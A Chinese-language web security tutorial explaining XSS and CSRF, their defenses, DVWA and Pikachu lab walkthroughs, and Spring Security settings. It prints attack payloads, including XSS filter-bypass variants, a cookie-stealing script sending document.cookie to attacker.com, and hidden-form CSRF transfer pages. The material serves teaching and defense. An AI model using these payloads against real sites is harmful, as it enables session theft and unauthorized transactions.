Web安全实战:XSS与CSRF攻击原理、防御策略与靶场演练

发布时间:2026/7/6 10:01:20
Web安全实战:XSS与CSRF攻击原理、防御策略与靶场演练 1. 项目概述从“知道”到“防住”的必经之路在Web开发与安全领域XSS跨站脚本攻击和CSRF跨站请求伪造是两个绕不开的经典话题。无论你是刚入行的前端工程师、后端开发者还是负责系统架构的安全负责人如果对这两种攻击方式的理解还停留在“听说过”的层面那么你的应用很可能正暴露在巨大的风险之下。我见过太多项目功能做得花里胡哨却在最基本的输入框、评论框或者一个简单的转账接口上栽了跟头导致用户数据泄露甚至资金损失。这篇文章我就结合自己十多年踩坑和填坑的经验把XSS和CSRF掰开揉碎了讲清楚不仅告诉你它们是什么更要讲明白它们怎么发生、如何攻击、以及最关键的——如何从设计和代码层面进行有效防御。这不是一篇照本宣科的理论文章而是一份可以直接用于代码审查和方案设计的实战指南。2. XSS攻击深入原理、攻击手法与实战防御2.1 XSS攻击的核心原理与三种类型拆解XSS全称Cross-Site Scripting为了和CSS层叠样式表区分而简称XSS。它的本质是“注入”攻击者成功将恶意脚本通常是JavaScript注入到网页中当其他用户浏览该页面时恶意脚本就会在其浏览器环境中执行。这里的关键在于“信任”浏览器默认信任并执行从服务器接收到的内容而XSS正是滥用了这份信任。根据恶意脚本的“存储”和“触发”位置XSS主要分为三类反射型、存储型和DOM型。很多人容易混淆我画个简单的思维导图来区分反射型和存储型都需要经过服务器后端区别在于恶意输入是否被持久化而DOM型则完全发生在客户端前端不经过服务器处理。存储型XSS持久型这是危害最大的一种。攻击者将恶意脚本提交到网站的后端数据库比如论坛发帖、用户评论、个人简介当其他用户访问包含该数据的页面时脚本从服务器加载并执行。它的特点是“一次注入持续影响”所有访问该页面的用户都会中招。2015年喜马拉雅的专辑名称XSS漏洞就是典型例子攻击者将专辑名设置为一段JavaScript代码服务器未过滤直接存入数据库导致任何查看该专辑的用户都会执行恶意代码Cookie等信息被窃取。反射型XSS非持久型这种攻击更像“钓鱼”。恶意脚本并不存储在服务器而是作为请求的一部分通常是URL参数发送给服务器服务器未经处理直接“反射”回响应页面中。攻击者需要诱骗用户点击一个精心构造的链接。例如一个搜索功能将搜索关键词原样显示在结果页https://vulnerable-site.com/search?qscriptalert(xss)/script。如果服务器没有对q参数进行过滤那么script标签就会被输出到页面并执行。它的利用成本稍高需要用户主动点击链接。DOM型XSS这是纯前端的漏洞。恶意脚本的注入和执行完全在浏览器端完成不涉及与服务器的交互或者说服务器返回的是正常的、无害的数据。漏洞源于前端JavaScript代码不安全地操作了DOM。例如一段JS代码从location.hashURL的#后面部分获取内容并直接用innerHTML插入到页面中document.getElementById(output).innerHTML location.hash.substring(1);。攻击者构造一个URLhttps://site.com/page#img src1 onerrorstealCookie()用户访问时onerror事件就会被触发。这种攻击更难被传统的服务端WAFWeb应用防火墙检测到。2.2 从攻击者视角看XSS漏洞挖掘与利用理解了原理我们换到攻击者视角看看他们是如何发现和利用XSS漏洞的。这能帮助我们更好地进行防御。第一步寻找注入点。攻击者会系统地测试所有用户输入的地方。这不仅仅是表单输入框还包括URL参数?idxxxHTTP请求头如User-Agent,Referer有时会被记录并显示在管理后台文件上传功能如果上传的文件名被显示富文本编辑器允许HTML输入的地方AJAX请求的响应数据第二步测试过滤与编码机制。攻击者会尝试输入各种Payload来探测系统的防御边界。他们会从最简单的scriptalert(1)/script开始如果被拦截就会尝试变体大小写混淆ScRiPtalert(1)/sCrIpT使用HTML实体编码绕过如果服务器只过滤script但不过滤img就可以用img srcx onerroralert(1)利用JavaScript事件svg onloadalert(1)body onloadalert(1)拆分拼接如果过滤了“script”可以尝试scrscriptipt也许中间的被过滤两边的拼成了新的script利用伪协议a hrefjavascript:alert(1)点击/a第三步构造利用Payload。一旦确认存在漏洞攻击者就会将测试用的alert(1)替换成真正的恶意代码。核心目的通常是窃取用户凭证Cookie、LocalStorage、发起恶意操作如转账、或进行“水坑攻击”劫持页面流量。一个经典的窃取Cookie的Payload可能是scriptnew Image().srchttp://attacker.com/steal?cookieencodeURIComponent(document.cookie);/script这段代码会向攻击者的服务器发送一个携带当前用户Cookie的GET请求。实操心得在内部安全测试或代码审计时不要只测alert(1)。要模拟真实攻击尝试构造能外带数据的Payload比如让页面向一个你控制的日志服务器发起请求验证漏洞的切实危害性。很多开发人员觉得弹个窗没什么但换成窃取管理员Session的代码严重性立刻就不同了。2.3 构建多层次、纵深化的XSS防御体系防御XSS不是靠单一手段而需要一个从输入到输出、从服务端到客户端的纵深防御体系。以下是经过实战检验的防御策略按推荐程度和实施层面排列。1. 严格的输入验证与输出编码治本之策这是最重要的一环原则是对任何不可信的数据进行输出编码。服务端输出编码根据数据将要放置的上下文采用不同的编码方式。HTML上下文将,,,,等字符转换为HTML实体。例如变成lt;变成gt;。现代Web框架如React, Vue, Angular默认对插值表达式进行HTML转义这是巨大的进步。但如果使用v-html或dangerouslySetInnerHTML就必须格外小心。JavaScript/JSON上下文如果要将用户输入嵌入到script标签或JS变量中必须进行JavaScript编码。通常使用\uXXXX形式的Unicode转义。更好的做法是避免动态生成JS代码而是通过安全的API如JSON.stringify传递数据。URL上下文如果用户输入要作为URL的一部分如href或src属性必须进行URL编码。注意要编码整个URL而不仅仅是参数值。CSS上下文极少见但也需注意。2. 内容安全策略CSP—— 最后的防线CSP是一个HTTP响应头它告诉浏览器只允许加载和执行来自哪些来源的资源。即使攻击者成功注入了脚本如果脚本的来源不在白名单内浏览器也不会执行。一个严格的CSP头能极大降低XSS的危害。Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;这个策略的含义是默认只允许加载同源资源脚本只允许来自同源和https://trusted.cdn.com完全禁止object等插件。unsafe-inline和unsafe-eval是万不得已才使用的选项应尽量避免。3. 使用HttpOnly Cookie保护会话通过设置Cookie的HttpOnly属性可以阻止JavaScript通过document.cookie访问该Cookie。这对于保护会话IDSession ID至关重要。即使发生XSS攻击攻击者也无法直接窃取标记为HttpOnly的Cookie。Set-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteStrict注意这并不能防止攻击者利用XSS以用户的身份执行操作因为浏览器发起请求时会自动携带Cookie但它能防止会话被直接窃取后在其他地方使用。4. 其他辅助措施输入过滤在服务端对输入进行过滤移除或禁用明确的危险字符和标签。但不要依赖它作为主要防御因为过滤规则很容易被绕过。它可以作为一道额外的筛查。富文本处理对于需要富文本如博客评论的场景使用严格的白名单机制如DOMPurify这样的库只允许安全的标签和属性并过滤所有事件处理器如onclick和javascript:伪协议。定期安全扫描与代码审计将XSS漏洞检查纳入CI/CD流程使用SAST静态应用安全测试和DAST动态应用安全测试工具。注意事项防御DOM型XSS需要特别注意。因为数据不经过服务端所以服务端的输出编码和CSP是主要防御手段。在编写前端JavaScript时避免使用innerHTML、outerHTML、document.write()等危险方法优先使用textContent或setAttribute。如果必须操作HTML使用DOMPurify对内容进行净化。3. CSRF攻击原理透析、攻击模拟与根治方案3.1 理解CSRF的攻击逻辑与必要条件如果说XSS是利用用户对网站的信任那么CSRF跨站请求伪造就是利用网站对用户浏览器的信任。它的攻击过程可以概括为攻击者诱导已登录用户访问恶意页面该页面自动向目标网站发起一个用户不知情的请求由于浏览器会自动携带用户的Cookie等认证信息目标网站会认为这是用户的合法操作。要成功实施一次CSRF攻击三个条件缺一不可目标网站存在CSRF漏洞即关键操作如修改密码、转账、发帖的请求容易被伪造且没有有效的CSRF防护令牌Token或其他验证机制。用户已登录目标网站并保持会话用户的浏览器中存有目标网站的有效CookieSession。用户访问了攻击者构造的页面这个页面可能通过邮件、论坛、社交网站等渠道传播。攻击者完全不需要窃取用户的密码或Cookie他只是在借用用户的“登录状态”。一个经典的比喻是你登录了网上银行条件2银行有个转账接口只要登录就能用不需要二次确认条件1然后你不小心点了一个恶意链接条件3你的钱就在不知不觉中被转走了。3.2 三种常见的CSRF攻击方式实战推演我们以一个虚构的银行转账接口https://bank.com/transfer来演示它接受POST或GET请求参数是to_account收款账户和amount金额。方式一自动发起GET请求利用img、iframe等标签这是最简单的方式。攻击者在他的页面上放置一个资源标签其src指向目标网站的敏感接口。!-- 恶意页面内容 -- h1免费抽奖/h1 img srchttps://bank.com/transfer?to_accountATTACKER_ACCOUNTamount10000 width0 height0 /当用户访问这个“抽奖”页面时浏览器会尝试加载那张“图片”实际上向银行发送了一个转账GET请求。因为用户已登录银行请求会自动携带Cookie银行服务器处理请求转账完成。攻击者甚至可以把图片设为不可见做到神不知鬼不觉。方式二自动提交POST请求利用隐藏表单和JavaScript很多敏感操作使用POST方法认为比GET安全。但在CSRF面前POST同样脆弱。!-- 恶意页面内容 -- body onloaddocument.forms[0].submit() form actionhttps://bank.com/transfer methodPOST input typehidden nameto_account valueATTACKER_ACCOUNT / input typehidden nameamount value10000 / /form /body页面加载后JavaScript会自动提交这个隐藏的表单一个POST转账请求就被悄无声息地发出了。方式三诱导用户点击链接社交工程这种方式需要用户交互但伪装性更强。p您的好友给您分享了一张有趣的照片a hrefhttps://bank.com/transfer?to_accountATTACKER_ACCOUNTamount10000点击查看/a/p用户点击链接触发GET请求攻击完成。实操心得在安全测试中不要只测试GET请求的CSRF。用Burp Suite等工具抓取一个正常的POST请求然后使用“Generate CSRF PoC”功能可以快速生成上述第二种攻击方式的HTML代码。将其保存为HTML文件在已登录目标网站的情况下用浏览器打开就能验证漏洞是否存在。这个过程能让你深刻理解CSRF的自动化攻击威力。3.3 全面防御CSRF攻击的三大核心策略防御CSRF的核心思路是打破“请求自动携带凭证”这个假设让服务器能区分“用户自愿发起的请求”和“被伪造的请求”。1. 使用CSRF Token同步令牌模式这是目前最主流、最有效的防御手段。其原理是服务器在用户会话中生成一个随机、不可预测的令牌Token并将其同时发给客户端通常藏在表单的隐藏域或Meta标签里。客户端在发起敏感请求POST/PUT/DELETE时必须将这个Token作为参数通常是表单字段或请求头一并提交。服务器收到请求后比对请求中的Token和会话中存储的Token是否一致。不一致则拒绝请求。因为攻击者无法提前知晓或窃取这个与特定用户会话绑定的Token得益于同源策略所以他构造的请求中无法包含有效的Token攻击便会失败。!-- 服务器渲染的表单 -- form action/transfer methodPOST input typehidden namecsrf_token value随机生成的、与Session绑定的长字符串 / !-- 其他表单字段 -- input typesubmit value转账 / /form对于单页应用SPAToken可以通过首次页面加载的API响应获取然后在后续请求中通过自定义HTTP头如X-CSRF-Token携带。关键点Token必须足够随机使用密码学安全的随机数生成器并且与用户会话关联。同时要确保Token不通过GET请求泄露例如不要放在URL中。2. 验证请求来源Origin与Referer头服务器可以检查HTTP请求头中的Origin或Referer字段判断请求是否来自合法的源即自己的网站。Origin头包含了发起请求的站点的协议、域名和端口如https://www.your-site.com。对于跨域请求如通过fetch或XMLHttpRequest发起的浏览器会自动添加此头。同源请求通常不包含。服务器可以检查Origin值是否在白名单内通常是自己的域名。Referer头包含了请求来源页面的完整URL。但它的可靠性稍差因为有些用户代理出于隐私考虑可能不发送或者被代理服务器剥离。同时Referer可能包含路径等敏感信息。实施建议优先检查Origin头如果不存在或为空再考虑检查Referer头。这是一个有效的辅助防御手段但不能作为唯一依赖因为某些情况下这些头可能被篡改或缺失。3. 利用Cookie的SameSite属性这是浏览器提供的一种从源头遏制CSRF的机制。通过设置Cookie的SameSite属性可以控制Cookie在跨站请求时是否被发送。SameSiteStrict最严格。Cookie仅在同站请求即当前页面URL与请求目标URL的eTLD1相同时发送。这意味着从其他网站链接过来时用户处于未登录状态。用户体验影响最大但安全性最高。SameSiteLax现代浏览器的默认值。宽松模式。在跨站请求中只有安全的顶层导航如点击链接会发送Cookie而像img,script加载或表单POST提交则不会。这基本阻止了大多数CSRF攻击同时保持了主要的用户体验用户可以从其他网站链接过来并保持登录。SameSiteNoneCookie在所有上下文中发送但必须同时设置Secure属性即仅通过HTTPS传输。适用于需要跨站共享登录状态的场景如第三方登录、嵌入式组件。对于绝大多数应用将会话Cookie设置为SameSiteLax或Strict是成本最低、效果显著的CSRF防护措施。Set-Cookie: sessionIdabc123; HttpOnly; Secure; SameSiteLax注意事项CSRF Token和SameSite属性是互补的建议同时使用。SameSite是浏览器层面的防护能挡住大部分“简单”的CSRF攻击。CSRF Token是应用层面的防护更为彻底和可靠。对于关键操作如转账、修改密码务必使用CSRF Token。同时要意识到“登录状态”不仅限于Cookie如果应用使用Bearer Token放在Authorization头中由于浏览器不会自动在跨站请求中携带该头因此天然免疫基于Cookie自动携带的CSRF攻击但需防范XSS导致Token泄露的风险。4. 实战场景DVWA与Pikachu靶场通关精要理论学习之后最好的巩固方式就是动手实操。DVWADamn Vulnerable Web Application和Pikachu是两个经典的Web安全学习靶场。下面我以从业者视角解析其中XSS和CSRF关卡的核心要点与绕过思路这比单纯看答案更有价值。4.1 DVWA靶场CSRF模块攻击实战与防御绕过DVWA的CSRF模块设置了Low、Medium、High三个安全级别模拟了不同强度的防御。Low级别毫无防护这是最原始的状态修改密码的请求只是一个简单的GET请求参数直接暴露在URL中。http://dvwa.local/vulnerabilities/csr/?password_new123password_conf123ChangeChange#攻击者只需构造一个包含此URL的图片标签或链接即可。防御方案就是引入上述的CSRF Token或SameSite Cookie。Medium级别尝试验证Referer查看源码发现服务器会检查HTTP请求的Referer头判断是否包含自己的主机名如dvwa.local。if( stripos( $_SERVER[ HTTP_REFERER ] , $_SERVER[ SERVER_NAME ] ) ! false ) { // 通过检查 }绕过思路这种检查存在逻辑缺陷。攻击者可以构造一个子域名或路径中包含目标主机名的页面。例如攻击者注册域名dvwa.local.attacker.com或在自己的网站attacker.com上创建一个名为dvwa.local的目录然后将恶意页面放在http://attacker.com/dvwa.local/attack.html。这样当用户从该页面发起请求时Referer头为http://attacker.com/dvwa.local/attack.html其中包含了字符串dvwa.local从而绕过检查。另一种方法是如果服务器仅检查Referer是否存在而不检查其内容攻击者有时可以通过某些手段如利用某些浏览器的漏洞或通过Flash等旧技术发起一个没有Referer头的请求。High级别使用CSRF TokenHigh级别使用了CSRF Token。每次访问修改密码页面时服务器会生成一个随机的user_token并隐藏在表单中。提交修改请求时必须携带正确的user_token。input typehidden nameuser_token value随机字符串 /攻击挑战由于Token是随机的且与用户会话绑定攻击者无法直接构造包含有效Token的请求。经典的绕过思路是结合XSS漏洞。如果网站同时存在一个XSS漏洞哪怕是反射型的攻击者就可以先利用XSS漏洞注入一段JavaScript代码该代码会向修改密码页面发起一个请求解析出页面中的Token然后再用这个Token构造一个真正的修改密码请求并自动提交。这属于“XSS CSRF”的组合攻击。因此防御必须是全方位的一个环节的漏洞可能导致整个防御体系崩塌。4.2 Pikachu靶场XSS漏洞挖掘与利用链条Pikachu靶场提供了更丰富的XSS场景包括反射型、存储型、DOM型。反射型XSS重点在于寻找所有可能的输入点并测试输出上下文。不要只盯着搜索框。尝试在URL参数、POST数据包中的每一个字段插入测试Payload。观察响应是如何处理的是直接输出到HTML中还是输出到JavaScript变量里或者是作为标签属性不同的上下文需要不同的Payload。例如如果输入被直接放到div标签内可以用script或img onerror如果被放到input value...里你需要先闭合引号和标签scriptalert(1)/script。存储型XSS关键在于持久化。在留言板、个人信息等会被保存并展示给其他用户的地方进行测试。测试时要思考两个问题1. 输入在哪里被过滤或编码2. 输出在哪里以什么形式有时输入时过滤了script但输出时可能因为富文本编辑器允许某些HTML标签而再次引入风险。存储型XSS的利用往往更直接因为受害者只是正常浏览网站。DOM型XSS这是纯前端的“逻辑漏洞”。你需要仔细阅读前端JavaScript代码寻找那些从用户可控源如location.hash、location.search、document.referrer、window.name获取数据并不安全地传递给“接收器”Sink的函数。常见的危险接收器包括innerHTML、outerHTML、document.write()、eval()、setTimeout()、setInterval()以及某些能执行字符串的API。例如var hash location.hash.substring(1); document.getElementById(msg).innerHTML hash; // 危险攻击者构造URL#img src1 onerroralert(1)即可触发。防御方法是避免使用危险的接收器或对来自不可信源的数据进行严格的编码/净化。避坑技巧在测试XSS时使用一个简单的测试向量库会事半功倍。例如可以准备一系列Payload从简单到复杂scriptalert(1)/scriptonfocusalert(1) autofocussvg/onloadalert(1)javascript:alert(1)逐个测试观察页面的反应和过滤规则。同时打开浏览器的开发者工具F12在“控制台”查看是否有JavaScript错误在“网络”标签查看是否有意料之外的请求发出这对于发现盲打XSSBlind XSS或外带数据的Payload非常有用。5. 框架级防护与进阶安全考量在现代Web开发中我们很少从零开始实现所有安全逻辑。主流框架都内置了一些安全机制理解并正确使用它们至关重要。5.1 Spring Boot中的XSS与CSRF防护Spring Boot作为流行的Java后端框架提供了开箱即用的安全支持主要通过Spring Security模块实现。XSS防护输入输出编码Spring MVC默认使用Thymeleaf、FreeMarker等模板引擎它们通常会对表达式输出进行HTML转义。例如Thymeleaf的th:text属性会自动转义而th:utextUnescaped Text则不会使用时需谨慎。JSON序列化使用Jackson库序列化对象到JSON时默认不会对字符串进行HTML转义。如果前端直接将这些JSON值插入HTML可能引发XSS。因此前端在渲染来自API的JSON数据时必须自行进行输出编码。使用RequestBody和ResponseBody配合Jackson可以方便地处理JSON但需注意上述前端渲染问题。自定义过滤器可以创建过滤器Filter对请求参数进行全局的XSS过滤但要注意可能带来的性能问题和误杀如富文本内容。更推荐在输出时根据上下文进行编码。CSRF防护 Spring Security默认启用了CSRF保护。它的工作原理就是前面讲的CSRF Token。对于表单提交Spring Security会自动在表单中添加一个名为_csrf的隐藏字段值为Token。对于AJAX请求你需要将Token放在请求头中。Spring Security默认期望的头名是X-CSRF-TOKEN。Token的值可以从Meta标签或Cookie中获取Spring Security会设置一个名为XSRF-TOKEN的Cookie。配置在Spring Security配置类中.csrf().disable()会禁用CSRF保护这在开发阶段或纯API服务且使用非Cookie认证时可能会用到但生产环境下有状态服务务必开启。关键配置示例Configuration EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http .csrf() // 默认是开启的 .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // 将Token放在Cookie中方便前端JS读取 .and() // ... 其他配置 } }前端在发起非幂等的AJAX请求POST, PUT, DELETE时需要从Cookie读取XSRF-TOKEN的值并将其作为X-CSRF-TOKEN请求头发送。5.2 单页应用与API安全的新挑战在前后端分离的SPA架构中XSS和CSRF的防御有一些新的特点XSS风险更高因为渲染逻辑完全在前端任何从API获取的不受信数据如果通过innerHTML或类似危险方式插入DOM都会导致XSS。必须严格使用前端框架如React的{variable}、Vue的{{ }}的默认转义功能或使用DOMPurify处理动态HTML。CSRF防御演变Cookie Token模式如上文Spring Boot示例依然有效。JWTJSON Web Token模式如果认证信息是放在Authorization: Bearer token头中的JWT由于浏览器不会自动在跨站请求中携带该头因此天然免疫基于Cookie的CSRF攻击。这是JWT的一大优势。但需注意JWT需要通过安全的途径如HTTPS下的登录接口获取并存放在安全的地方如HttpOnly Cookie或内存中防止被XSS窃取。双重提交Cookie一种简化模式服务器在Cookie中设置一个随机值前端JS读取该Cookie值并在每次请求时将其作为自定义头或参数发送。服务器验证两者是否一致。这要求Cookie不能是HttpOnly。5.3 安全开发生命周期与自动化检查安全不是功能开发完后的“附加项”而应贯穿整个开发流程。需求与设计阶段识别敏感操作如支付、改密、授权明确其必须包含CSRF Token等防护。编码阶段使用安全的API和框架功能。对代码进行安全培训避免常见的漏洞模式。在代码仓库中配置预提交钩子pre-commit hooks运行简单的代码安全扫描。测试阶段SAST使用SonarQube、Checkmarx等工具进行静态代码扫描发现潜在的安全漏洞模式。DAST使用OWASP ZAP、Burp Suite等工具对运行中的应用进行动态扫描模拟攻击。依赖扫描使用OWASP Dependency-Check、Snyk等工具检查项目依赖库中的已知漏洞。部署与运维阶段确保生产环境启用HTTPS、安全的HTTP头如CSP, HSTS。建立漏洞响应机制定期进行安全审计和渗透测试。最后安全是一个持续的过程没有一劳永逸的银弹。保持对常见漏洞原理的清醒认识建立纵深防御体系并借助框架和工具的力量才能让你的Web应用在攻防对抗中立于不败之地。在实际开发中每当你处理用户输入、输出数据或设计一个API接口时多问自己一句“这里会不会有XSS或CSRF的风险” 这个简单的习惯可能就是避免下一次安全事件的关键。